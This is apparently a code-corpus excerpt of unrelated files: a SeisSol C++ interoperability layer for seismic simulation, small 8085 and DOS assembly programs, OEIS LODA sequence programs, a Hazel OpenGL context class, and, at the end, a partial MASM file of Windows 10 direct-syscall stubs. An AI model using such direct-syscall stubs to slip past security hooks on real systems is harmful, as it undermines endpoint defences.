seissol::initializers::MaterialParameterDB<seissol::model::AnisotropicMaterial> parameterDB;
parameterDB.setMaterialVector(&materials);
parameterDB.evaluateModel(std::string(materialFileName), queryGen);
for (unsigned int i = 0; i < nElements; i++) {
materialVal[i] = materials[i].rho;
materialVal[nElements + i] = materials[i].c11;
materialVal[2*nElements + i] = materials[i].c12;
materialVal[3*nElements + i] = materials[i].c13;
materialVal[4*nElements + i] = materials[i].c14;
materialVal[5*nElements + i] = materials[i].c15;
materialVal[6*nElements + i] = materials[i].c16;
materialVal[7*nElements + i] = materials[i].c22;
materialVal[8*nElements + i] = materials[i].c23;
materialVal[9*nElements + i] = materials[i].c24;
materialVal[10*nElements + i] = materials[i].c25;
materialVal[11*nElements + i] = materials[i].c26;
materialVal[12*nElements + i] = materials[i].c33;
materialVal[13*nElements + i] = materials[i].c34;
materialVal[14*nElements + i] = materials[i].c35;
materialVal[15*nElements + i] = materials[i].c36;
materialVal[16*nElements + i] = materials[i].c44;
materialVal[17*nElements + i] = materials[i].c45;
materialVal[18*nElements + i] = materials[i].c46;
materialVal[19*nElements + i] = materials[i].c55;
materialVal[20*nElements + i] = materials[i].c56;
materialVal[21*nElements + i] = materials[i].c66;
calcWaveSpeeds(&materials[i], i);
}
} else {
if (anelasticity) {
auto materials = std::vector<seissol::model::ViscoElasticMaterial>(nElements);
seissol::initializers::MaterialParameterDB<seissol::model::ViscoElasticMaterial> parameterDB;
parameterDB.setMaterialVector(&materials);
parameterDB.evaluateModel(std::string(materialFileName), queryGen);
for (unsigned int i = 0; i < nElements; i++) {
materialVal[i] = materials[i].rho;
materialVal[nElements + i] = materials[i].mu;
materialVal[2*nElements + i] = materials[i].lambda;
materialVal[3*nElements + i] = materials[i].Qp;
materialVal[4*nElements + i] = materials[i].Qs;
calcWaveSpeeds(&materials[i], i);
}
} else {
auto materials = std::vector<seissol::model::ElasticMaterial>(nElements);
seissol::initializers::MaterialParameterDB<seissol::model::ElasticMaterial> parameterDB;
parameterDB.setMaterialVector(&materials);
parameterDB.evaluateModel(std::string(materialFileName), queryGen);
for (unsigned int i = 0; i < nElements; i++) {
materialVal[i] = materials[i].rho;
materialVal[nElements + i] = materials[i].mu;
materialVal[2*nElements + i] = materials[i].lambda;
calcWaveSpeeds(&materials[i], i);
}
}
//now initialize the plasticity data
if (plasticity) {
auto materials = std::vector<seissol::model::Plasticity>(nElements);
seissol::initializers::MaterialParameterDB<seissol::model::Plasticity> parameterDB;
parameterDB.setMaterialVector(&materials);
for (unsigned int i = 0; i < nElements; i++) {
bulkFriction[i] = materials[i].bulkFriction;
plastCo[i] = materials[i].plastCo;
iniStress[i+0*nElements] = materials[i].s_xx;
iniStress[i+1*nElements] = materials[i].s_yy;
iniStress[i+2*nElements] = materials[i].s_zz;
iniStress[i+3*nElements] = materials[i].s_xy;
iniStress[i+4*nElements] = materials[i].s_yz;
iniStress[i+5*nElements] = materials[i].s_xz;
}
}
}
}
void seissol::Interoperability::fitAttenuation( double rho,
double mu,
double lambda,
double Qp,
double Qs,
seissol::model::ViscoElasticMaterial& material )
{
#if defined USE_VISCOELASTIC || defined USE_VISCOELASTIC2
constexpr size_t numMaterialVals = 3 + 4*NUMBER_OF_RELAXATION_MECHANISMS;
double materialFortran[numMaterialVals];
f_interoperability_fitAttenuation(m_domain, rho, mu, lambda, Qp, Qs, materialFortran);
material = seissol::model::ViscoElasticMaterial(materialFortran, numMaterialVals);
#endif
}
void seissol::Interoperability::initializeFault( char* modelFileName,
int gpwise,
double* bndPoints,
int numberOfBndPoints )
{
seissol::initializers::FaultParameterDB parameterDB;
for (auto const& kv : m_faultParameters) {
parameterDB.addParameter(kv.first, kv.second);
}
if (gpwise != 0) {
seissol::initializers::FaultGPGenerator queryGen( seissol::SeisSol::main.meshReader(),
reinterpret_cast<double(*)[2]>(bndPoints),
numberOfBndPoints );
parameterDB.evaluateModel(std::string(modelFileName), queryGen);
} else {
seissol::initializers::FaultBarycentreGenerator queryGen( seissol::SeisSol::main.meshReader(),
numberOfBndPoints );
parameterDB.evaluateModel(std::string(modelFileName), queryGen);
}
}
void seissol::Interoperability::enableDynamicRupture() {
// DR is always enabled if there are dynamic rupture cells
}
void seissol::Interoperability::setMaterial(int i_meshId, int i_side, double* i_materialVal, int i_numMaterialVals)
{
int side = i_side - 1;
seissol::model::Material* material;
if (side < 0) {
material = &m_ltsLut.lookup(m_lts->material, i_meshId - 1).local;
} else {
assert(side < 4);
material = &m_ltsLut.lookup(m_lts->material, i_meshId - 1).neighbor[side];
}
//TODO(Lukas)
//Prepare for different materials in the same simulation
//Use placement new because pointer to virtual function table gets overwritten by 0 during init.
#if defined USE_ANISOTROPIC
new(material) seissol::model::AnisotropicMaterial(i_materialVal, i_numMaterialVals);
#elif defined USE_VISCOELASTIC || defined USE_VISCOELASTIC2
new(material) seissol::model::ViscoElasticMaterial(i_materialVal, i_numMaterialVals);
#else
new(material) seissol::model::ElasticMaterial(i_materialVal, i_numMaterialVals);
#endif
}
#ifdef USE_PLASTICITY
void seissol::Interoperability::setInitialLoading( int i_meshId, double *i_initialLoading ) {
PlasticityData& plasticity = m_ltsLut.lookup(m_lts->plasticity, i_meshId - 1);
for( unsigned int l_stress = 0; l_stress < 6; l_stress++ ) {
unsigned l_basis = 0;
plasticity.initialLoading[l_stress] = i_initialLoading[ l_stress*NUMBER_OF_BASIS_FUNCTIONS + l_basis ];
}
}
//synchronize element dependent plasticity parameters
void seissol::Interoperability::setPlasticParameters( int i_meshId, double* i_plasticParameters) {
PlasticityData& plasticity = m_ltsLut.lookup(m_lts->plasticity, i_meshId - 1);
CellMaterialData& material = m_ltsLut.lookup(m_lts->material, i_meshId - 1);
double angularFriction = atan(i_plasticParameters[1]);
plasticity.cohesionTimesCosAngularFriction = i_plasticParameters[0] * cos(angularFriction);
plasticity.sinAngularFriction = sin(angularFriction);
#ifndef USE_ANISOTROPIC
plasticity.mufactor = 1.0 / (2.0 * material.local.mu);
#else
plasticity.mufactor = 3.0 / (2.0 * (material.local.c44 + material.local.c55 + material.local.c66));
#endif
}
void seissol::Interoperability::setTv(double tv) {
seissol::SeisSol::main.timeManager().setTv(tv);
}
#endif
void seissol::Interoperability::initializeCellLocalMatrices()
{
// \todo Move this to some common initialization place
seissol::initializers::initializeCellLocalMatrices( seissol::SeisSol::main.meshReader(),
m_ltsTree,
m_lts,
&m_ltsLut );
seissol::initializers::initializeDynamicRuptureMatrices( seissol::SeisSol::main.meshReader(),
m_ltsTree,
m_lts,
&m_ltsLut,
seissol::SeisSol::main.getMemoryManager().getDynamicRuptureTree(),
seissol::SeisSol::main.getMemoryManager().getDynamicRupture(),
m_ltsFaceToMeshFace,
*seissol::SeisSol::main.getMemoryManager().getGlobalData(),
m_timeStepping );
seissol::initializers::initializeBoundaryMappings(seissol::SeisSol::main.meshReader(),
seissol::SeisSol::main.getMemoryManager().getEasiBoundaryReader(),
m_ltsTree,
m_lts,
&m_ltsLut);
}
template<typename T>
void seissol::Interoperability::synchronize(seissol::initializers::Variable<T> const& handle)
{
unsigned *const (&meshToLts)[seissol::initializers::Lut::MaxDuplicates] = m_ltsLut.getMeshToLtsLut(handle.mask);
unsigned* duplicatedMeshIds = m_ltsLut.getDuplicatedMeshIds(handle.mask);
unsigned numberOfDuplicatedMeshIds = m_ltsLut.getNumberOfDuplicatedMeshIds(handle.mask);
T* var = m_ltsTree->var(handle);
#ifdef _OPENMP
#pragma omp parallel for schedule(static)
#endif
for (unsigned dupMeshId = 0; dupMeshId < numberOfDuplicatedMeshIds; ++dupMeshId) {
unsigned meshId = duplicatedMeshIds[dupMeshId];
T* ref = &var[ meshToLts[0][meshId] ];
for (unsigned dup = 1; dup < seissol::initializers::Lut::MaxDuplicates && meshToLts[dup][meshId] != std::numeric_limits<unsigned>::max(); ++dup) {
memcpy(&var[ meshToLts[dup][meshId] ], ref, sizeof(T));
}
}
}
void seissol::Interoperability::synchronizeCellLocalData() {
synchronize(m_lts->material);
#ifdef USE_PLASTICITY
synchronize(m_lts->plasticity);
#endif
}
void seissol::Interoperability::synchronizeCopyLayerDofs() {
synchronize(m_lts->dofs);
if (kernels::size<tensor::Qane>() > 0) {
synchronize(m_lts->dofsAne);
}
}
void seissol::Interoperability::enableWaveFieldOutput( double i_waveFieldInterval, const char *i_waveFieldFilename ) {
seissol::SeisSol::main.waveFieldWriter().setWaveFieldInterval( i_waveFieldInterval );
seissol::SeisSol::main.waveFieldWriter().enable();
seissol::SeisSol::main.waveFieldWriter().setFilename( i_waveFieldFilename );
}
void seissol::Interoperability::enableFreeSurfaceOutput(int maxRefinementDepth)
{
seissol::SeisSol::main.freeSurfaceWriter().enable();
seissol::SeisSol::main.freeSurfaceIntegrator().initialize( maxRefinementDepth,
m_lts,
m_ltsTree,
&m_ltsLut );
}
void seissol::Interoperability::enableCheckPointing( double i_checkPointInterval,
const char *i_checkPointFilename, const char *i_checkPointBackend ) {
seissol::SeisSol::main.simulator().setCheckPointInterval( i_checkPointInterval );
if (strcmp(i_checkPointBackend, "posix") == 0)
seissol::SeisSol::main.checkPointManager().setBackend(checkpoint::POSIX);
else if (strcmp(i_checkPointBackend, "hdf5") == 0)
seissol::SeisSol::main.checkPointManager().setBackend(checkpoint::HDF5);
else if (strcmp(i_checkPointBackend, "mpio") == 0)
seissol::SeisSol::main.checkPointManager().setBackend(checkpoint::MPIO);
else if (strcmp(i_checkPointBackend, "mpio_async") == 0)
seissol::SeisSol::main.checkPointManager().setBackend(checkpoint::MPIO_ASYNC);
else if (strcmp(i_checkPointBackend, "sionlib") == 0)
seissol::SeisSol::main.checkPointManager().setBackend(checkpoint::SIONLIB);
else
logError() << "Unknown checkpoint backend";
seissol::SeisSol::main.checkPointManager().setFilename( i_checkPointFilename );
}
void seissol::Interoperability::getIntegrationMask( int* i_integrationMask ) {
seissol::SeisSol::main.postProcessor().setIntegrationMask(i_integrationMask);
}
void seissol::Interoperability::initializeIO(
double* mu, double* slipRate1, double* slipRate2,
double* slip, double* slip1, double* slip2, double* state, double* strength,
int numSides, int numBndGP, int refinement, int* outputMask,
double* outputRegionBounds,
double freeSurfaceInterval, const char* freeSurfaceFilename,
char const* xdmfWriterBackend,
double receiverSamplingInterval, double receiverSyncInterval)
{
auto type = writer::backendType(xdmfWriterBackend);
// Initialize checkpointing
int faultTimeStep;
bool hasCheckpoint = seissol::SeisSol::main.checkPointManager().init(reinterpret_cast<real*>(m_ltsTree->var(m_lts->dofs)),
m_ltsTree->getNumberOfCells(m_lts->dofs.mask) * tensor::Q::size(),
mu, slipRate1, slipRate2, slip, slip1, slip2,
state, strength, numSides, numBndGP,
faultTimeStep);
if (hasCheckpoint) {
seissol::SeisSol::main.simulator().setCurrentTime(
seissol::SeisSol::main.checkPointManager().header().time());
seissol::SeisSol::main.faultWriter().setTimestep(faultTimeStep);
}
constexpr auto numberOfQuantities = tensor::Q::Shape[ sizeof(tensor::Q::Shape) / sizeof(tensor::Q::Shape[0]) - 1];
// Initialize wave field output
seissol::SeisSol::main.waveFieldWriter().init(
numberOfQuantities, CONVERGENCE_ORDER,
NUMBER_OF_ALIGNED_BASIS_FUNCTIONS,
seissol::SeisSol::main.meshReader(),
reinterpret_cast<const double*>(m_ltsTree->var(m_lts->dofs)),
reinterpret_cast<const double*>(m_ltsTree->var(m_lts->pstrain)),
seissol::SeisSol::main.postProcessor().getIntegrals(m_ltsTree),
m_ltsLut.getMeshToLtsLut(m_lts->dofs.mask)[0],
refinement, outputMask, outputRegionBounds,
type);
// Initialize free surface output
seissol::SeisSol::main.freeSurfaceWriter().init(
seissol::SeisSol::main.meshReader(),
&seissol::SeisSol::main.freeSurfaceIntegrator(),
freeSurfaceFilename, freeSurfaceInterval, type);
auto& receiverWriter = seissol::SeisSol::main.receiverWriter();
// Initialize receiver output
receiverWriter.init(
std::string(freeSurfaceFilename),
receiverSamplingInterval,
receiverSyncInterval
);
receiverWriter.addPoints(
m_recPoints,
seissol::SeisSol::main.meshReader(),
m_ltsLut,
*m_lts,
m_globalData
);
seissol::SeisSol::main.timeManager().setReceiverClusters(receiverWriter);
// I/O initialization is the last step that requires the mesh reader
// (at least at the moment ...)
// TODO(Lukas) Free the mesh reader if not doing convergence test.
seissol::SeisSol::main.analysisWriter().init(&seissol::SeisSol::main.meshReader());
//seissol::SeisSol::main.freeMeshReader();
}
void seissol::Interoperability::copyDynamicRuptureState()
{
f_interoperability_copyDynamicRuptureState(m_domain);
}
void seissol::Interoperability::initInitialConditions()
{
if (m_initialConditionType == "Planarwave") {
#ifdef MULTIPLE_SIMULATIONS
for (int s = 0; s < MULTIPLE_SIMULATIONS; ++s) {
m_iniConds.emplace_back(new physics::Planarwave(m_ltsLut.lookup(m_lts->material, 0), (2.0*M_PI*s) / MULTIPLE_SIMULATIONS));
}
#else
m_iniConds.emplace_back(new physics::Planarwave(m_ltsLut.lookup(m_lts->material, 0)));
#endif
} else if (m_initialConditionType == "SuperimposedPlanarwave") {
#ifdef MULTIPLE_SIMULATIONS
for (int s = 0; s < MULTIPLE_SIMULATIONS; ++s) {
m_iniConds.emplace_back(new physics::SuperimposedPlanarwave(m_ltsLut.lookup(m_lts->material, 0), (2.0*M_PI*s) / MULTIPLE_SIMULATIONS));
}
#else
m_iniConds.emplace_back(new physics::SuperimposedPlanarwave(m_ltsLut.lookup(m_lts->material, 0)));
#endif
} else if (m_initialConditionType == "Zero") {
m_iniConds.emplace_back(new physics::ZeroField());
#if NUMBER_OF_RELAXATION_MECHANISMS == 0
} else if (m_initialConditionType == "Scholte") {
m_iniConds.emplace_back(new physics::ScholteWave());
} else if (m_initialConditionType == "Snell") {
m_iniConds.emplace_back(new physics::SnellsLaw());
} else if (m_initialConditionType == "Ocean") {
m_iniConds.emplace_back(new physics::Ocean());
#endif // NUMBER_OF_RELAXATION_MECHANISMS == 0
} else {
throw std::runtime_error("Unknown initial condition type" + getInitialConditionType());
}
}
void seissol::Interoperability::projectInitialField()
{
initInitialConditions();
if (m_initialConditionType == "Zero") {
// Projection not necessary
return;
}
initializers::projectInitialField( getInitialConditions(),
*m_globalData,
seissol::SeisSol::main.meshReader(),
*m_lts,
m_ltsLut);
}
void seissol::Interoperability::getDofs( int i_meshId,
double o_dofs[tensor::QFortran::size()] ) {
/// @yateto_todo: multiple sims?
seissol::kernels::convertAlignedDofs( m_ltsLut.lookup(m_lts->dofs, i_meshId-1), o_dofs );
}
void seissol::Interoperability::getDofsFromDerivatives( int i_meshId,
double o_dofs[tensor::QFortran::size()] ) {
// assert that the cell provides derivatives
assert( (m_ltsLut.lookup(m_lts->cellInformation, i_meshId-1).ltsSetup >> 9)%2 == 1 );
// get DOFs from 0th derivatives
seissol::kernels::convertAlignedDofs( m_ltsLut.lookup(m_lts->derivatives, i_meshId-1), o_dofs );
}
void seissol::Interoperability::getNeighborDofsFromDerivatives( int i_meshId,
int i_localFaceId,
double o_dofs[tensor::QFortran::size()] ) {
// get DOFs from 0th neighbors derivatives
seissol::kernels::convertAlignedDofs( m_ltsLut.lookup(m_lts->faceNeighbors, i_meshId-1)[ i_localFaceId-1 ],
o_dofs );
}
seissol::initializers::Lut* seissol::Interoperability::getLtsLut() {
return &m_ltsLut;
}
std::string seissol::Interoperability::getInitialConditionType() {
return m_initialConditionType;
}
void seissol::Interoperability::simulate( double i_finalTime ) {
seissol::SeisSol::main.simulator().setFinalTime( i_finalTime );
seissol::SeisSol::main.simulator().simulate();
}
void seissol::Interoperability::finalizeIO()
{
seissol::SeisSol::main.waveFieldWriter().close();
seissol::SeisSol::main.checkPointManager().close();
seissol::SeisSol::main.faultWriter().close();
seissol::SeisSol::main.freeSurfaceWriter().close();
}
void seissol::Interoperability::faultOutput( double i_fullUpdateTime,
double i_timeStepWidth )
{
f_interoperability_faultOutput( m_domain, &i_fullUpdateTime, &i_timeStepWidth );
}
void seissol::Interoperability::evaluateFrictionLaw( int face,
real QInterpolatedPlus[CONVERGENCE_ORDER][seissol::tensor::QInterpolated::size()],
real QInterpolatedMinus[CONVERGENCE_ORDER][seissol::tensor::QInterpolated::size()],
real imposedStatePlus[seissol::tensor::QInterpolated::size()],
real imposedStateMinus[seissol::tensor::QInterpolated::size()],
double i_fullUpdateTime,
double timePoints[CONVERGENCE_ORDER],
double timeWeights[CONVERGENCE_ORDER],
seissol::model::IsotropicWaveSpeeds const& waveSpeedsPlus,
seissol::model::IsotropicWaveSpeeds const& waveSpeedsMinus )
{
int fFace = face + 1;
int numberOfPoints = tensor::QInterpolated::Shape[0];
int godunovLd = init::QInterpolated::Stop[0] - init::QInterpolated::Start[0];
static_assert(tensor::QInterpolated::Shape[0] == tensor::resample::Shape[0], "Different number of quadrature points?");
f_interoperability_evaluateFrictionLaw( m_domain,
fFace,
&QInterpolatedPlus[0][0],
&QInterpolatedMinus[0][0],
&imposedStatePlus[0],
&imposedStateMinus[0],
numberOfPoints,
godunovLd,
&i_fullUpdateTime,
&timePoints[0],
&timeWeights[0],
waveSpeedsPlus.density,
waveSpeedsPlus.pWaveVelocity,
waveSpeedsPlus.sWaveVelocity,
waveSpeedsMinus.density,
waveSpeedsMinus.pWaveVelocity,
waveSpeedsMinus.sWaveVelocity,
init::resample::Values );
}
void seissol::Interoperability::calcElementwiseFaultoutput(double time)
{
f_interoperability_calcElementwiseFaultoutput(m_domain, time);
}
#ifdef USE_PLASTICITY
void seissol::Interoperability::computePlasticity( double i_timeStep,
double *i_plasticParameters,
double (*i_initialLoading)[NUMBER_OF_BASIS_FUNCTIONS],
double *io_dofs,
double *io_Energy,
double *io_pstrain ) {
// call fortran routine
f_interoperability_computePlasticity( m_domain,
&i_timeStep,
NUMBER_OF_ALIGNED_BASIS_FUNCTIONS,
i_plasticParameters,
i_initialLoading,
io_dofs,
io_Energy,
io_pstrain );
}
#endif
void seissol::Interoperability::computeMInvJInvPhisAtSources(double x, double y, double z, unsigned element, real mInvJInvPhisAtSources[tensor::mInvJInvPhisAtSources::size()])
{
double f_mInvJInvPhisAtSources[NUMBER_OF_BASIS_FUNCTIONS];
int elem = static_cast<int>(element);
f_interoperability_computeMInvJInvPhisAtSources(m_domain, x, y, z, elem, f_mInvJInvPhisAtSources);
memset(mInvJInvPhisAtSources, 0, tensor::mInvJInvPhisAtSources::size() * sizeof(real));
for (unsigned bf = 0; bf < NUMBER_OF_BASIS_FUNCTIONS; ++bf) {
mInvJInvPhisAtSources[bf] = f_mInvJInvPhisAtSources[bf];
}
}
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Soma.asm - soma de numeros em hexadecimal
;Prof. Fernando M. de Azevedo - 28.03.2005
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ORG 2000H
LDA N ; Carrega A com o valor de N
MOV C,A ; armazena este valor em C
LXI H,DADOS ; aponta par HL p/ inicio da tabela
MVI B,00H ; inicializa soma
LOOP: MOV A,M ; carrega A com dado apontado por HL
ADD B ; soma acumulada em A
MOV B,A ; e guardada em B
INX H ; par HL aponta para o dado seguinte
DCR C ; decrementa o C
JNZ LOOP ; repete ate que C = 0
LXI H,RESULT ; aponta HL p/ inicio do resultado
MOV M,B ; guarda B na memoria
JMP $ ; loop infinito, fica parado aqui
ORG 2020H
RESULT DB 00H,00H
N DB 03H
DADOS DB 01H,02H,03H,04H,65H,76H,87H,98H,0A9H
END
|
; A069754: Counts transitions between prime and composite to reach the number n.
; Submitted by Jon Maiga
; 0,1,1,2,3,4,5,6,6,6,7,8,9,10,10,10,11,12,13,14,14,14,15,16,16,16,16,16,17,18,19,20,20,20,20,20,21,22,22,22,23,24,25,26,26,26,27,28,28,28,28,28,29,30,30,30,30,30,31,32,33,34,34,34,34,34,35,36,36,36,37,38,39,40,40,40,40,40,41,42,42,42,43,44,44,44,44,44,45,46,46,46,46,46,46,46,47,48,48,48
seq $0,72762 ; n coded as binary word of length=n with k-th bit set iff k is prime (1<=k<=n), decimal value.
seq $0,5811 ; Number of runs in binary expansion of n (n>0); number of 1's in Gray code for n.
|
#include "hzpch.h"
#include "OpenGLContext.h"
#include <GLFW/glfw3.h>
#include <glad/glad.h>
namespace Hazel {
OpenGLContext::OpenGLContext(GLFWwindow* windowHandle)
: m_WindowHandle(windowHandle)
{
HZ_CORE_ASSERT(windowHandle, "Handle is null!")
}
void OpenGLContext::Init()
{
glfwMakeContextCurrent(m_WindowHandle);
int status = gladLoadGLLoader((GLADloadproc)glfwGetProcAddress);
HZ_CORE_ASSERT(status, "Failed to initialize Glad!");
}
void OpenGLContext::SwapBuffers()
{
glfwSwapBuffers(m_WindowHandle);
}
} |
; A315361: Coordination sequence Gal.5.328.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jamie Morken(s2.)
; 1,6,10,18,22,26,36,38,42,54,54,58,72,70,74,90,86,90,108,102,106,126,118,122,144,134,138,162,150,154,180,166,170,198,182,186,216,198,202,234,214,218,252,230,234,270,246,250,288,262
mov $1,$0
seq $0,301720 ; Coordination sequence for node of type V1 in "krb" 2-D tiling (or net).
add $0,1
mul $0,2
div $0,3
mul $1,2
add $0,$1
|
.model tiny
.data
A db 1,-2,-3,-4,-5,-6,7,-8,9,-10
.code
N: push cs
pop ds
xor ax,ax
xor bx,bx
mov cx,10
M: cmp A[bx],10
jl K
inc ax
K: inc bx
loop M
mov ax,4c00h
int 21h
end N |
; A074557: 3^n + 6^n + 9^n.
; Submitted by Jamie Morken(s1)
; 3,18,126,972,7938,67068,578826,5065092,44732898,397517868,3547309626,31744033812,284606850258,2554928116668,22955161402026,206361331428132,1855841341806018,16694108488251468,150196195641088026,1351461078575264052,12161321620983776178,109440926092613090268,984902523918834559626,8863727849969697877572,79771181458493261016738,717926417980729807081068,6461252470957394742968826,58150760493416762757124692,523353773969597878821463698,4710165542899600254191951868,42391379349136130138784427626
mov $3,3
pow $3,$0
mov $1,$3
add $1,1
mul $1,$3
mov $2,6
pow $2,$0
add $1,$2
mov $0,$1
|
; A020048: a(n) = floor(Gamma(n+5/12)/Gamma(5/12)).
; Submitted by Jon Maiga
; 1,0,0,1,4,21,116,748,5549,46704,439802,4581280,52302949,649428293,8713162939,125614765716,1936560971459,31791875948134,553708506096681,10197464987280554,198000778503030764,4042515894436878101,86577215405856472680,1940772578681282595913,45446424550786700787638,1109650199448375277564838,28203609235979538304772982,745045343983792803551086274,20426659847555652697358948698,580457584001373130816616792182,17075127262707059598188810636714,519368454240673062778242990200073
mov $1,1
mov $3,1
lpb $0
mul $1,3
mov $2,$0
sub $0,1
mul $2,12
sub $2,7
mul $1,$2
mul $3,36
lpe
div $1,$3
mov $0,$1
|
; DO NOT MODIFY THIS FILE DIRECTLY!
; author: @TinySecEx
; ssdt asm stub for 10.0.16299-sp0-windows-10-rs3-1709 i386
.686
.mmx
.xmm
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
.code
; ULONG __stdcall NtAccessCheck( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtAccessCheck PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 0
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheck ENDP
; ULONG __stdcall NtWorkerFactoryWorkerReady( ULONG arg_01 );
NtWorkerFactoryWorkerReady PROC STDCALL arg_01:DWORD
mov eax , 1
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWorkerFactoryWorkerReady ENDP
; ULONG __stdcall NtAcceptConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAcceptConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 2
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAcceptConnectPort ENDP
; ULONG __stdcall NtYieldExecution( );
NtYieldExecution PROC STDCALL
mov eax , 3
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtYieldExecution ENDP
; ULONG __stdcall NtWriteVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWriteVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteVirtualMemory ENDP
; ULONG __stdcall NtWriteRequestData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtWriteRequestData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 5
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteRequestData ENDP
; ULONG __stdcall NtWriteFileGather( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtWriteFileGather PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 6
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteFileGather ENDP
; ULONG __stdcall NtWriteFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtWriteFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 7
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteFile ENDP
; ULONG __stdcall NtWaitLowEventPair( ULONG arg_01 );
NtWaitLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 8
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitLowEventPair ENDP
; ULONG __stdcall NtWaitHighEventPair( ULONG arg_01 );
NtWaitHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 9
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitHighEventPair ENDP
; ULONG __stdcall NtWaitForWorkViaWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWaitForWorkViaWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 10
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForWorkViaWorkerFactory ENDP
; ULONG __stdcall NtWaitForSingleObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtWaitForSingleObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 11
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForSingleObject ENDP
; ULONG __stdcall NtWaitForMultipleObjects32( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWaitForMultipleObjects32 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 12
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForMultipleObjects32 ENDP
; ULONG __stdcall NtWaitForMultipleObjects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWaitForMultipleObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 13
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForMultipleObjects ENDP
; ULONG __stdcall NtWaitForKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtWaitForKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 14
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForKeyedEvent ENDP
; ULONG __stdcall NtWaitForDebugEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtWaitForDebugEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 15
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForDebugEvent ENDP
; ULONG __stdcall NtWaitForAlertByThreadId( ULONG arg_01 , ULONG arg_02 );
